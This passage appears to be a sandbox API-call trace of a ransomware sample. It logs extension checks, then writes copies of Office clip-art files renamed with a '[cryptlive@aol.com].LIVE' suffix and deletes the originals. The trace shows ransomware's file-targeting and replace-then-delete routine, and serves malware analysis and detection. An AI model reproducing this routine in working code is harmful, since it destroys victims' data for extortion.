lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.945] lstrlenW (lpString=".docx") returned 5 [0145.945] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0145.945] lstrlenW (lpString=".pdf") returned 4 [0145.945] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.945] lstrlenW (lpString=".xls") returned 4 [0145.945] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.945] lstrlenW (lpString=".xlsx") returned 5 [0145.945] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0145.946] lstrlenW (lpString=".ppt") returned 4 [0145.946] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 63 [0145.946] lstrlenW (lpString=".zip") returned 4 [0145.946] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.946] lstrlenW (lpString=".rar") returned 4 [0145.946] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.946] lstrlenW (lpString=".bz2") returned 4 [0145.946] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.946] lstrlenW (lpString=".7z") returned 3 [0145.946] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 63 [0145.946] lstrlenW (lpString=".dbf") returned 4 [0145.946] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 63 [0145.946] lstrlenW (lpString=".1cd") returned 4 [0145.946] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 63 [0145.946] lstrlenW (lpString=".jpg") returned 4 [0145.946] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 63 [0145.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 63 [0145.946] lstrlenW (lpString=".doc") returned 4 [0145.946] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.946] lstrlenW (lpString=".docx") returned 5 [0145.946] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0145.946] lstrlenW (lpString=".pdf") returned 4 [0145.946] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.946] lstrlenW (lpString=".xls") returned 4 [0145.946] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.946] lstrlenW (lpString=".xlsx") returned 5 [0145.946] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0145.946] lstrlenW (lpString=".ppt") returned 4 [0145.946] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 63 [0145.947] lstrlenW (lpString=".zip") returned 4 [0145.947] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.947] lstrlenW (lpString=".rar") returned 4 [0145.947] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.947] lstrlenW (lpString=".bz2") returned 4 [0145.947] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.947] lstrlenW (lpString=".7z") returned 3 [0145.947] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 63 [0145.947] lstrlenW (lpString=".dbf") returned 4 [0145.947] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 63 [0145.947] lstrlenW (lpString=".1cd") returned 4 [0145.947] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 63 [0145.947] lstrlenW (lpString=".jpg") returned 4 [0145.947] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.947] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0145.947] lstrlenW (lpString="HH00685_.WMF") returned 12 [0145.947] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00685_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0145.948] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=4032) returned 1 [0145.948] CloseHandle (hObject=0x328) returned 1 [0145.948] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00685_.wmf")) returned 0x20 [0145.948] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00685_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0145.948] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00685_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0145.948] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0145.948] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0145.948] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00685_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0145.950] GetLastError () returned 0x0 [0145.950] ReadFile (in: hFile=0x328, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0xfc0, lpOverlapped=0x0) returned 1 [0145.951] WriteFile (in: hFile=0x3d0, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xfd0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xfd0, lpOverlapped=0x0) returned 1 [0145.952] ReadFile (in: hFile=0x328, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0145.952] WriteFile (in: hFile=0x3d0, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0145.952] SetEndOfFile (hFile=0x3d0) returned 1 [0145.952] CloseHandle (hObject=0x3d0) returned 1 [0145.952] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0145.952] SetEndOfFile (hFile=0x328) returned 1 [0145.954] CloseHandle (hObject=0x328) returned 1 [0145.955] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0145.955] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00685_.wmf")) returned 1 [0145.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 63 [0145.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 63 [0145.955] lstrlenW (lpString=".doc") returned 4 [0145.955] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.956] lstrlenW (lpString=".docx") returned 5 [0145.956] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0145.956] lstrlenW (lpString=".pdf") returned 4 [0145.956] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.956] lstrlenW (lpString=".xls") returned 4 [0145.956] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.956] lstrlenW (lpString=".xlsx") returned 5 [0145.956] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0145.956] lstrlenW (lpString=".ppt") returned 4 [0145.956] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 63 [0145.956] lstrlenW (lpString=".zip") returned 4 [0145.956] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.956] lstrlenW (lpString=".rar") returned 4 [0145.956] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.956] lstrlenW (lpString=".bz2") returned 4 [0145.956] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.956] lstrlenW (lpString=".7z") returned 3 [0145.956] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 63 [0145.956] lstrlenW (lpString=".dbf") returned 4 [0145.956] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 63 [0145.956] lstrlenW (lpString=".1cd") returned 4 [0145.956] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 63 [0145.956] lstrlenW (lpString=".jpg") returned 4 [0145.956] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 63 [0145.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 63 [0145.956] lstrlenW (lpString=".doc") returned 4 [0145.956] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.956] lstrlenW (lpString=".docx") returned 5 [0145.956] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0145.956] lstrlenW (lpString=".pdf") returned 4 [0145.957] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.957] lstrlenW (lpString=".xls") returned 4 [0145.957] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.957] lstrlenW (lpString=".xlsx") returned 5 [0145.957] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0145.957] lstrlenW (lpString=".ppt") returned 4 [0145.957] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 63 [0145.957] lstrlenW (lpString=".zip") returned 4 [0145.957] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.957] lstrlenW (lpString=".rar") returned 4 [0145.957] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.957] lstrlenW (lpString=".bz2") returned 4 [0145.957] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.957] lstrlenW (lpString=".7z") returned 3 [0145.957] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 63 [0145.957] lstrlenW (lpString=".dbf") returned 4 [0145.957] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 63 [0145.957] lstrlenW (lpString=".1cd") returned 4 [0145.957] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 63 [0145.957] lstrlenW (lpString=".jpg") returned 4 [0145.957] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.957] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0145.957] lstrlenW (lpString="HH00687_.WMF") returned 12 [0145.957] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00687_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0145.958] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=4340) returned 1 [0145.958] CloseHandle (hObject=0x328) returned 1 [0145.958] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00687_.wmf")) returned 0x20 [0145.958] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00687_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0145.958] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00687_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0145.958] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0145.958] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0145.958] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00687_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0145.959] GetLastError () returned 0x0 [0145.959] ReadFile (in: hFile=0x328, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x10f4, lpOverlapped=0x0) returned 1 [0146.185] WriteFile (in: hFile=0x3d0, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0x1100, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x1100, lpOverlapped=0x0) returned 1 [0146.186] ReadFile (in: hFile=0x328, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0146.186] WriteFile (in: hFile=0x3d0, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0146.186] SetEndOfFile (hFile=0x3d0) returned 1 [0146.187] CloseHandle (hObject=0x3d0) returned 1 [0146.187] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0146.187] SetEndOfFile (hFile=0x328) returned 1 [0146.189] CloseHandle (hObject=0x328) returned 1 [0146.189] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0146.203] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00687_.wmf")) returned 1 [0146.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 63 [0146.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 63 [0146.249] lstrlenW (lpString=".doc") returned 4 [0146.249] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0146.249] lstrlenW (lpString=".docx") returned 5 [0146.249] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0146.249] lstrlenW (lpString=".pdf") returned 4 [0146.249] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0146.249] lstrlenW (lpString=".xls") returned 4 [0146.249] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0146.249] lstrlenW (lpString=".xlsx") returned 5 [0146.249] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0146.249] lstrlenW (lpString=".ppt") returned 4 [0146.249] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0146.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 63 [0146.249] lstrlenW (lpString=".zip") returned 4 [0146.249] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0146.249] lstrlenW (lpString=".rar") returned 4 [0146.249] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0146.249] lstrlenW (lpString=".bz2") returned 4 [0146.249] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0146.249] lstrlenW (lpString=".7z") returned 3 [0146.249] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0146.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 63 [0146.249] lstrlenW (lpString=".dbf") returned 4 [0146.249] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0146.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 63 [0146.250] lstrlenW (lpString=".1cd") returned 4 [0146.250] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0146.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 63 [0146.250] lstrlenW (lpString=".jpg") returned 4 [0146.250] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0146.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 63 [0146.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 63 [0146.250] lstrlenW (lpString=".doc") returned 4 [0146.250] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0146.250] lstrlenW (lpString=".docx") returned 5 [0146.250] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0146.250] lstrlenW (lpString=".pdf") returned 4 [0146.250] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0146.250] lstrlenW (lpString=".xls") returned 4 [0146.250] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0146.250] lstrlenW (lpString=".xlsx") returned 5 [0146.250] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0146.250] lstrlenW (lpString=".ppt") returned 4 [0146.250] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0146.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 63 [0146.250] lstrlenW (lpString=".zip") returned 4 [0146.250] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0146.250] lstrlenW (lpString=".rar") returned 4 [0146.250] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0146.250] lstrlenW (lpString=".bz2") returned 4 [0146.250] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0146.250] lstrlenW (lpString=".7z") returned 3 [0146.250] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0146.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 63 [0146.250] lstrlenW (lpString=".dbf") returned 4 [0146.250] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0146.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 63 [0146.250] lstrlenW (lpString=".1cd") returned 4 [0146.250] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0146.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 63 [0146.250] lstrlenW (lpString=".jpg") returned 4 [0146.251] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0146.251] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0146.251] lstrlenW (lpString="HH01242_.WMF") returned 12 [0146.251] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01242_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0146.312] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=7340) returned 1 [0146.312] CloseHandle (hObject=0x3b4) returned 1 [0146.312] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01242_.wmf")) returned 0x20 [0146.373] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01242_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0146.374] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01242_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0146.374] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0146.374] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0146.374] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01242_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0146.375] GetLastError () returned 0x0 [0146.375] ReadFile (in: hFile=0x38c, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x1cac, lpOverlapped=0x0) returned 1 [0146.441] WriteFile (in: hFile=0x394, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0x1cb0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x1cb0, lpOverlapped=0x0) returned 1 [0146.442] ReadFile (in: hFile=0x38c, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0146.442] WriteFile (in: hFile=0x394, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0146.442] SetEndOfFile (hFile=0x394) returned 1 [0146.442] CloseHandle (hObject=0x394) returned 1 [0146.442] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0146.443] SetEndOfFile (hFile=0x38c) returned 1 [0146.445] CloseHandle (hObject=0x38c) returned 1 [0146.445] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0146.445] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01242_.wmf")) returned 1 [0146.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 63 [0146.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 63 [0146.446] lstrlenW (lpString=".doc") returned 4 [0146.446] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0146.446] lstrlenW (lpString=".docx") returned 5 [0146.446] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0146.446] lstrlenW (lpString=".pdf") returned 4 [0146.446] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0146.446] lstrlenW (lpString=".xls") returned 4 [0146.446] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0146.446] lstrlenW (lpString=".xlsx") returned 5 [0146.446] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0146.446] lstrlenW (lpString=".ppt") returned 4 [0146.446] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0146.446] lstrlenW (lpString="C:\\Program Files\\Microsoft 